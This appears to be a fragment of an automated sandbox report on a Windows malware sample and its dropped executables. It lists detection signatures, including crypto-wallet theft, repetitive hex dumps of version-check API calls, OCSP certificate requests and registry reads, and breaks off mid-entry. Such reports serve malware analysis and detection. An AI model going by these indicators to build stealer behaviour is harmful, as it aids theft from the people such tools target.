Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDVmzu%2BcVBN4gnIj8OT7hC4 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDVmzu%2BcVBN4gnIj8OT7hC4 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDVmzu%2BcVBN4gnIj8OT7hC4 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDVmzu%2BcVBN4gnIj8OT7hC4 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog"30:T52c,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to use Cryptographic classes Matched sigs: PCAP contains base64 strings Matched sigs: Decrypted SSL network traffic Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to decode base64 data Matched sigs: Contains ability to encrypt/encode message (API string) Matched sigs: Contains reference to cryptographic keys Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Reads the cryptographic machine GUID Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains ability to decrypt/decode data Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Calls an API typically to import cryptographic keys into a CSP Matched sigs: Tries to steal Crypto currency wallets information (file access) Matched sigs: HTTP requests contain Base64 strings Matched sigs: Sample file has high entropy (likely encrypted/compressed content)31:T2a0d,"0c12cd0538bea9f88b40d52cf438f139.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004000) "bJ1qg86.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003808) "Ac8sp85.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004008) "10IO12so.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003332) "10IO12so.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000099049966cc04cc66cc04ff6699040099cc043399cc046699cc049999cc04cc99cc04ff99cc0400cccc0433cccc0466cccc0499cccc04cccccc04ffcccc0400ffcc0433ffcc0466ff990499ffcc04ccffcc04ffffcc043300cc046600ff049900ff040033cc043333ff046633ff049933ff04cc33ff04ff33ff040066ff043366ff046666cc049966ff04cc66ff04ff66cc040099ff043399ff046699ff049999ff04cc99ff04ff99ff0400ccff0433ccff0466ccff0499ccff04ccccff040000af6c30e01f0466ffcc0499ffff04ccffff0420e01f040000af6c0000000001000000 (UID: 00000000-00003332) "10IO12so.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003332) "10IO12so.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000084003cfd8400cd70070010ff840095e11f77cd700700feffffffff2b23779a2a2377880a25000000000000000000c4009e0001000000000000000a00000008000000f08da300f08da3002000000024fe84007f211b0090e2a2001ce2a200020000000d000000000000001cfe8400bb2f1b00f80d250058fe84008e1e1b00020000007e1e1b00b98f9b0902000000a0c821000d000000000000002cfe8400086d237710ff8400202d1a0029fb3b09feffffff7e1e1b002d1f1b006cfe840088fe840070fe8400020000000200000088fe840090fe840020221b000200000088fe8400 (UID: 00000000-00003332) "10IO12so.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003332) "10IO12so.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000099049966cc04cc66cc04ff6699040099cc043399cc046699cc049999cc04cc99cc04ff99cc0400cccc0433cccc0466cccc0499cccc04cccccc04ffcccc0400ffcc0433ffcc0466ff990499ffcc04ccffcc04ffffcc043300cc046600ff049900ff040033cc043333ff046633ff049933ff04cc33ff04ff33ff040066ff043366ff046666cc049966ff04cc66ff04ff66cc040099ff043399ff046699ff049999ff04cc99ff04ff99ff0400ccff0433ccff0466ccff0499ccff04ccccff040000af6cc0e2b70266ffcc0499ffff04ccffff04b0e2b7020000af6c0000000001000000 (UID: 00000000-00003332) "10IO12so.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000001011e96cf200b60e9b7022a9d4d750000000024836275040000000000000000000000dcfab70200000000e79c4d750200078074e3b7020000000076000000c4e3b702feffffff4ce3b702cf002477d6002477918f9375760000003b000000c4e3b7026f006e0020e3b7026e00740088e3b702 (UID: 00000000-00003332) "10IO12so.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000099049966cc04cc66cc04ff6699040099cc043399cc046699cc049999cc04cc99cc04ff99cc0400cccc0433cccc0466cccc0499cccc04cccccc04ffcccc0400ffcc0433ffcc0466ff990499ffcc04ccffcc04ffffcc043300cc046600ff049900ff040033cc043333ff046633ff049933ff04cc33ff04ff33ff040066ff043366ff046666cc049966ff04cc66ff04ff66cc040099ff043399ff046699ff049999ff04cc99ff04ff99ff0400ccff0433ccff0466ccff0499ccff04ccccff040000af6c70e4680466ffcc0499ffff04ccffff0460e468040000af6c0000000001000000 (UID: 00000000-00003332) "10IO12so.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000099049966cc04cc66cc04ff6699040099cc043399cc046699cc049999cc04cc99cc04ff99cc0400cccc0433cccc0466cccc0499cccc04cccccc04ffcccc0400ffcc0433ffcc0466ff990499ffcc04ccffcc04ffffcc043300cc046600ff049900ff040033cc043333ff046633ff049933ff04cc33ff04ff33ff040066ff043366ff046666cc049966ff04cc66ff04ff66cc040099ff043399ff046699ff049999ff04cc99ff04ff99ff0400ccff0433ccff0466ccff0499ccff04ccccff040000af6cf0e0180466ffcc0499ffff04ccffff04e0e018040000af6c0000000001000000 (UID: 00000000-00003332) "10IO12so.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000099049966cc04cc66cc04ff6699040099cc043399cc046699cc049999cc04cc99cc04ff99cc0400cccc0433cccc0466cccc0499cccc04cccccc04ffcccc0400ffcc0433ffcc0466ff990499ffcc04ccffcc04ffffcc043300cc046600ff049900ff040033cc043333ff046633ff049933ff04cc33ff04ff33ff040066ff043366ff046666cc049966ff04cc66ff04ff66cc040099ff043399ff046699ff049999ff04cc99ff04ff99ff0400ccff0433ccff0466ccff0499ccff04ccccff040000af6cd0e4170466ffcc0499ffff04ccffff04c0e417040000af6c0000000001000000 (UID: 00000000-00003332) "10IO12so.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000099049966cc04cc66cc04ff6699040099cc043399cc046699cc049999cc04cc99cc04ff99cc0400cccc0433cccc0466cccc0499cccc04cccccc04ffcccc0400ffcc0433ffcc0466ff990499ffcc04ccffcc04ffffcc043300cc046600ff049900ff040033cc043333ff046633ff049933ff04cc33ff04ff33ff040066ff043366ff046666cc049966ff04cc66ff04ff66cc040099ff043399ff046699ff049999ff04cc99ff04ff99ff0400ccff0433ccff0466ccff0499ccff04ccccff040000af6cc0dfac0266ffcc0499ffff04ccffff04b0dfac020000af6c0000000001000000 (UID: 00000000-00003332) "10IO12so.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000099049966cc04cc66cc04ff6699040099cc043399cc046699cc049999cc04cc99cc04ff99cc0400cccc0433cccc0466cccc0499cccc04cccccc04ffcccc0400ffcc0433ffcc0466ff990499ffcc04ccffcc04ffffcc043300cc046600ff049900ff040033cc043333ff046633ff049933ff04cc33ff04ff33ff040066ff043366ff046666cc049966ff04cc66ff04ff66cc040099ff043399ff046699ff049999ff04cc99ff04ff99ff0400ccff0433ccff0466ccff0499ccff04ccccff040000af6c90e20f0466ffcc0499ffff04ccffff0480e20f040000af6c0000000001000000 (UID: 00000000-00003332) "11GY8714.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000452) "AppLaunch.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024ec2700000000007600000074ec2700fefffffffceb2700cf002477d6002477ac251c77760000003b00000074ec270000000000d0eb27000000000038ec2700 (UID: 00000000-00000340)32:T1a7f,"10IO12so.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003332) "AppLaunch.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000340) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000340) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100002ce713008a87fa74f8711d00dce71300980acf01980acf01000000002c30fa74b2f4237729ca2877c4e7130000003c6700003c672ce7130054e71300f0000000f0003c670000000030e7130000000000c4e81300000000000100000094e7130040f52377000000000000000080e71300 (UID: 00000000-00003964) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031005478f1ad07b29cd47634373f5f000000000100000000000000010000009cf1ad070000000028122402d8f1ad075008d706a8f1ad078f9cd47634373f5f02000000000000001800000001000000acf1ad072823306600001900000000000c00000020423a02b8f1ad072f993f5f0c000000 (UID: 00000000-00003964) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031007648e1d706a83ed6060000000048e1d7061000000000000000a0e7130050dcc27648e1d706100000005c50d906540a0e0210000000cce71300a6ecdf6e02000000000000001800000028c7df6ed0e713002823306600001900000000000c00000028c7df6edce713002f993f5f0c000000 (UID: 00000000-00003964) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000001000000c8e813006a6f4c6600000000bc6f4c6632edcf5344e4130000000000b0ed130015de9776c6c04525feffffff7f679f76e2d8e3762824106e02000000000000001800000030a53f5f88e813002823306600001900000000000c00000030a53f5f94e813002f993f5f0c000000 (UID: 00000000-00003964) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310007b3892869703cd80600000000f0eedc07a8262869703cd80638efdc0707232769703cd80620000000000000005c3727692812240220e23c0228122402020000000000000018000000003cd8063cefdc072823306600001900000000000c00000020e23c0248efdc072f993f5f0c000000 (UID: 00000000-00003964) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031007648e1d706a83ed6060000000048e1d70610000000000000008ce6130050dcc27648e1d706100000005c50d9069436100210000000b8e61300a6ecdf6e02000000000000001800000028c7df6ebce613002823306600001900000000000c00000028c7df6ec8e613002f993f5f0c000000 (UID: 00000000-00003964) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000001000000b4e713006a6f4c6600000000bc6f4c6626e2cf5330e3130000000000b0ed130015de9776c6c04525feffffff7f679f76e2d8e3762824106e02000000000000001800000030a53f5f74e713002823306600001900000000000c00000030a53f5f80e713002f993f5f0c000000 (UID: 00000000-00003964) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000100000080e713006a6f4c6600000000bc6f4c666ae2cf53fce2130000000000b0ed130015de9776c6c04525feffffff7f679f76e2d8e3762824106e02000000000000001800000030a53f5f40e713002823306600001900000000000c00000030a53f5f4ce713002f993f5f0c000000 (UID: 00000000-00003964) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310076d83dd806a83ed60600000000d83dd806200000000000000048e6130050dcc276d83dd80610000000745dd70634c210021000000074e61300a6ecdf6e02000000000000001800000028c7df6e78e613002823306600001900000000000c00000028c7df6e84e613002f993f5f0c000000 (UID: 00000000-00003964) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000010000007ce713006a6f4c6600000000bc6f4c666ee2cf53f8e2130000000000b0ed130015de9776c6c04525feffffff7f679f76e2d8e3762824106e02000000000000001800000030a53f5f3ce713002823306600001900000000000c00000030a53f5f48e713002f993f5f0c000000 (UID: 00000000-00003964) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310007b3892869a840d80600000000a0eeb607a8262869a840d806e8eeb60707232769a840d80620000000000000005c3727692812240220223e02281224020200000000000000180000000040d806eceeb6072823306600001900000000000c00000020223e02f8eeb6072f993f5f0c000000 (UID: 00000000-00003964) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000001000000c4e313006a6f4c6600000000bc6f4c6636e6cf5340df130000000000b0ed130015de9776c6c04525feffffff7f679f76e2d8e3762824106e02000000000000001800000030a53f5f84e313002823306600001900000000000c00000030a53f5f90e313002f993f5f0c000000 (UID: 00000000-00003964) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310007b38928693045d80600000000f0ecd907a82628693045d80638edd907072327693045d80620000000000000005c3727692812240220a23f02281224020200000000000000180000000045d8063cedd9072823306600001900000000000c00000020a23f0248edd9072f993f5f0c000000 (UID: 00000000-00003964) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031007648e1d706a83ed6060000000048e1d706100000000000000038e6130050dcc27648e1d70610000000745dd706b4c210021000000064e61300a6ecdf6e02000000000000001800000028c7df6e68e613002823306600001900000000000c00000028c7df6e74e613002f993f5f0c000000 (UID: 00000000-00003964) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000100000084e713006a6f4c6600000000bc6f4c6676e2cf5300e3130000000000b0ed130015de9776c6c04525feffffff7f679f76e2d8e3762824106e02000000000000001800000030a53f5f44e713002823306600001900000000000c00000030a53f5f50e713002f993f5f0c000000 (UID: 00000000-00003964)33:T691,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp, 00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp")34:T6fa,"0c12cd0538bea9f88b40d52cf438f139.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "0c12cd0538bea9f88b40d52cf438f139.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "bJ1qg86.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "bJ1qg86.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "Ac8sp85.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "Ac8sp85.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "10IO12so.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "10IO12so.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "11GY8714.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "11GY8714.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "12hz690.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "12hz690.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "13Ef605.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "13Ef605.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")35:T694,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp, 00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp")36:T444,Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "GetMonitorInfo" (Indicator: "GetMonitorInfo"; File: "00003964.00000F7C.12682817.00402000.wprm") Found reference to API "GetMonitorInfo" (Indicator: "GetMonitorInfo"; Source: "00000000-00002296.00000001.70024.01258000.00000004.mdmp") Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "GetNativeSystemInfo" (Indicator: "GetNativeSystemInfo"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp") Found reference to API "GetMonitorInfoW" (Indicator: "GetMonitorInfo"; Source: "00000000-00003332.00000001.68213.0021C000.00000002.mdmp")37:T691,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; File: "0c12cd0538bea9f88b40d52cf438f139.exe") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00000452.00000000.68550.00F20000.00000002.mdmp, 00000000-00000452.00000000.68560.00F28000.00000004.mdmp") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00002296.00000000.69086.01250000.00000002.mdmp") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00002500.00000000.71152.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01020000.00000002.mdmp, 00000000-00002500.00000001.72275.01028000.00000004.mdmp") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; Source: 